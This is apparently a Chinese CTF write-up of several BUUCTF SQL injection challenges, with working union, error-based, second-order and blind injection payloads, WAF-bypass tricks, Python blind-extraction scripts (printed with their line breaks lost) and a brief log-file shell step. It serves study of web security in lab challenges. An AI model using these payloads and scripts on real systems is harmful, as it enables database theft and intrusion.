buu(sql注入)"/>
buu(sql注入)
目录
[SWPU2019]Web1
构建虚拟表
取别名
完整的语句
[BSidesCF 2019]Kookie
[WUSTCTF2020]颜值成绩查询
考察sql盲注
[RCTF2015]EasySQL
这道题考察,二次注入,以及报错注入
[NCTF2019]SQLi
考察盲注,扫目录以及parse.unquote(’%00’) ;%00注释手段
[SWPU2019]Web1
那先注册,登录
因为注释符都被过滤了,所以用'单引号闭合后面的引号
这应该是注入点的位置, 发现# --+被过滤,然后是上传发现,没空格,那就有/**/代替空格
然后查询一下列数,看看回显的位置
列数不对,or也被过滤,大小写,双写都不能绕过,呃呃呃,这样order,information都被过滤了
只能一个个试,最后发现一共有22列,
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
回显位置,2,3现在我们需要找一个命令替换掉,information.schema_tables,
利用
mysql.innodb_index_stats
或者mysql.innodb_table_stats
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"
显示出了ads,users,推测在users表中
这时候需要构建无列名注入
构建虚拟表
select 1,2,3 union select * from users
取别名
select group_concat(a,c) from(select 1,2 as a,3 as c union select * from users)b
b其实就是虚拟表的表名,前面省略了as
完整的语句
1'/**/union/**/select/**/1,(select/**/group_concat(a,c)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里也是猜测flag,会在前两个字段
[BSidesCF 2019]Kookie
这道题勉强算是cookie注入题目扒,
打开界面,我们发现是 admin账号还是monster,这道题肯定与cookie有关,直接在cookie中
传入 username=admin&password=admin
翻译一下,你已用admin登录,感觉后面多余删去试试
直接出来试一下monster,
啥都没有,考察cookie用admin登录,都不需要密码,感觉挺离谱的,
[WUSTCTF2020]颜值成绩查询
考察sql盲注
发现输入1-4有回显
尝试一下注入方式,应该识别还是1的,肯定有的函数被过滤掉了,
试了一下发现是空格被过滤掉了,然后我们需要编写脚本
import time
import requests
Success_message = "Hi"
def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid) #应该就是判断,如果大于成立res = requests.get(payload)if Success_message in res.text: #也就是上面的大于成立页面会有hi这个字符begin = mid + 1 #二分法,因为大于所以要找到else:end = midmid = (begin + end) // 2 #假如我的字符是 85 然后中间79,85》79成立,进行操作begin=79+1 80,if mid == 32: #mid=(80+126)/2 103 ,85>103 执行else,end=103,mid=103+80 /2=91print() #85>91不对,然后end=91,mid=91+80 /2=85break #85>85不对,end=85 mid=80+85 /2 =82 ,85>82对然后,begin=81,mid=81+85 /2=83 ,begin=82db_name += chr(mid)print("数据库名: " + db_name)return db_namedef table_name():table_name = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload=url+"?stunum=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)"%(i,mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breaktable_name += chr(mid)print("数据库名: " + table_name)table_list=table_name.split(",") #每个数据库名之间用,分割都放在了列表里面for tab_name in table_list: #然后从列表依次取值,调用column函数column_name(tab_name)def column_name(tab_name):column_name = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload=url+'?stunum=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="%s")),%d,1))>%d)'%(tab_name,i,mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakcolumn_name += chr(mid)print("列名: " + column_name)column_list = column_name.split(",") # 每个数据库名之间用,分割for col_name in column_list:flag(tab_name,col_name)def flag(tab_name,col_name):flag_name = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload=url+'?stunum=(ascii(substr((select(%s)from(%s)),%d,1))>%d)'%(col_name,tab_name,i,mid)#payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (# col_name, tab_name, i, mid)#time.sleep(0.2)如果访问不出来可以sleep,缓冲一下res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakflag_name += chr(mid)print("字段值: " + flag_name)if __name__ == '__main__':url = input("请输入url:")table_name()
最后成功,这道题让我对盲注脚本格式更加清楚了
[RCTF2015]EasySQL
唉没开学,还是继续努力把
这道题考察,二次注入,以及报错注入
打开界面就是一个登录的界面,然后注册登录很常规
注册的时候发现用户名有过滤限制,然后登录进入以后有修改密码的操作。
看见注册框会想到;
1.会不会是admin就行一下注册用户名绕过进去获得flag
2.弱密码
3.用户名注入
都实验了一下放弃,
所有的线索都在这里,试了好久titile这个注入点失败
没思路的我,想到会不会是二次注入,在注册用户注入,然后修改密码进行第二次
一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。
这样我们要确定一下,注入点的符号是’ 还是”
都注册然后到修改密码试了一下,发现是"双引号,存在一个报错回显
前面的推断正确这里应该含有一个sql语句,
可知道包裹方式为双引号,可推断出修改你吗语句为
update users set password='newpassword' where user="登录用户" and password='oldpassword'
然后又想到了,报错注入进行
fuzz发现空格%20被过滤掉了这里用括号代替
t"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
爆出了表名,
推测在flag表中
t"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag"))),1)#
t"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
字段flag,就当我以为要出来的时候
呃呃呃,捉弄我,其实碰到过这种,那真正的flag应该在user表中
t"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))),1)#
肯定是在real_flag_1s_her字段中继续
t"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#
这是,没在字段列表里面,第一次遇到百度一下
解释:爆出没有该列。
那可能爆列名的时候没有显示全,对于输出字符有限制,我们只显示这一条。这时候可以加个正则
regexp('^r')是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#找到真正的列,匹配数据
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#
不行了太困了明天继续!!!
flag应该在后面,用正则匹配
t"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#regexp('^f')也就是找f开头 ,flag..
出来了一半,然后反序输出一下啊,使用reverse函数翻转字符串
t"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
反过来就是 40-2cdf-416a-a380-cda65b9f320f}
flag{47c27140-2cdf-416a拼接一下flag{47c27140-2cdf-416a-a380-cda65b9f320f}
[NCTF2019]SQLi
考察盲注,扫目录以及parse.unquote(’%00’) ;%00注释手段
打开界面额,登录框界面,单引号为闭合方式
然后' or true各种,实验发现,过滤了太多了
这时候就想到了报错过滤,可还是不对,发现过滤了引号
真是看了wp,才发现竟然有隐藏目录,sql注入给我设置个隐藏唉,还是太年轻了
robots.txt -->> hint.txt
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;
黑名单上挺多的,引号都禁了,看见passwd的密码等于admin账号的密码就行
对账号没有限制
所以这时候我的思想就是,对密码进行盲注,可是盲注是需要成功后的返回值的
(passwd/**/regexp/**/"^y") 这就是对密码进行了正则第一个为y
select * from users where username='' and passwd='' #登录框处查询语句username=\&passwd=||(passwd/**/regexp/**/"^y");%00 #用户名输入\,密码输入“或”符号加括号、内联绕waf,及结尾截断。sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^y";相等于select * from users where (passwd/**/regexp/**/"^y");
username=\&passwd=||(passwd/**/regexp/**/"^y");%00
如果我们输入这个,因为对引号过滤了所以会变成
username=\'&passwd=||(passwd/**/regexp/**/"^y");%00
;%00是过滤掉后面的字符引号,这里传入burp后需要再改回%00
- 直接盲注,注意在写python的时候传入%00不能直接传入,直接传会解码直接为空,用parse.unquote(’%00’)url解码
- regexp注入就类似于挨个比较吧,相等的时候返回true.
然后我们现在需要获取返回true的界面信息
username=\&passwd=||(passwd/**/regexp/**/"^y");%00
大佬们都是fuzz爆破出来的,我调试不对,只能一个个使出来,发现首位是y并且返回了welcome
返回信息有了构造python脚本
import string
import requests
from urllib import parse #定义了url的标准接口,实现url的各种抽取#parse模块的作用:url的解析,合并,编码,解码passwd = ''
string= string.ascii_lowercase + string.digits + '_' #前面是小写字母,后面是数字
url = ':81/index.php'for n in range(100):for m in string:data = {"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00')) #这里用到了parse# 这里因为”被过滤所以用\实义一下}res = requests.post(url,data=data)if 'welcome' in res.text:passwd += mprint(m)breakif m=='_' and 'welcome' not in res.text:break
print(passwd)
[CISCN2019 总决赛 Day2 Web1]Easyweb
考察sql盲注,目录扫描
打开界面,万能密码,注入都用了,没有过滤也没回显,感觉有别的路径
查看源码
感觉这个就是注入点,打开以后
发现除了1,2,3,是三张图片,就是这个了,过不去扫描目录,robots.txt ,
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
输入如果不输入id,就默认为1 path同样如此
addslashes 是在 ' " \前面自动加一个\反斜杠
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
\\0 第一个反斜杠是转义,也就是有 \0替换为 空
str_replace()
函数将两个变量内的\0
、%00
、\'
、'
都替换为空
- 将变量
$id
与$path
拼接进SQL语句 - 本地测验:
-
<?php$id = "\\0";echo $id.'<br>'; \0$id = addslashes($id);echo $id.'<br>'; \\0$id=str_replace(array("\\0","%00","\\'","'"),"",$id);echo $id; \ ?>
也就是说,
\\0
在传入变量$id
的值后,首先被转义为\0
,再经过addslashes()
函数的处理,变量$id="\\0"
,再由str_replace()
函数的替换,最终变为\
。
SQL语句变为: -
select * from images where id='\' or path='{$path}'
其中
\'
变成了字符串包含在两侧的'
单引号中,即变量$id
的值为:\' or path=
之后就可以从{$path}
处拼接SQL语句,但没有查询结果回显,所以尝试盲注,通过猜测数据库名长度,构造Payload以验证猜想: -
?id=\\0&path=or 1=if(length(database())>1,1,-1)%23
发现页面回显图片正确
-
所以我们考虑用盲注脚本
-
import requestsurl = '.php?id=\\0&path=or 1=' flag = '' table_name = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:table_name += chr(c)print(table_name)break
之所以是JFIF
-
因为用burp抓包返回正确,里面包含了 这个字符
-
得到了两个表:
images
、users
判断用户信息应该在users
表中,继续爆出列名:注:
因为过滤了'
单、"
双引号,所以需要将字符串转换成十六进制: -
因为是16进制所以需要加0x,过滤是因为上面的函数在引号前加\
-
users -> 0x7573657273
if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),0,1))=1,1,-1)%23
得到列名:
username
、password
接下来就是常规的盲注,需要获取用户名和密码:-
payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, c)
用户名为admin ,password 8b8419ff10f15a4ab35f
-
登陆
-
文件上传
-
提示我flag配置放入了文件中,可是我怎么也连不上建议 ,唉只能先到这了
-
过了N天,回看这道题
日记注入需要我们使用文件名进行注入,
过滤了php所以我们需要使用短标签,最后链接 php后面的.LOL 纯属迷惑你的
:81/logs/upload.9d0326254e97fb2e4c464296525808fc.log.php
这样就可以链接上了,文件名注入
更多推荐
buu(sql注入)
发布评论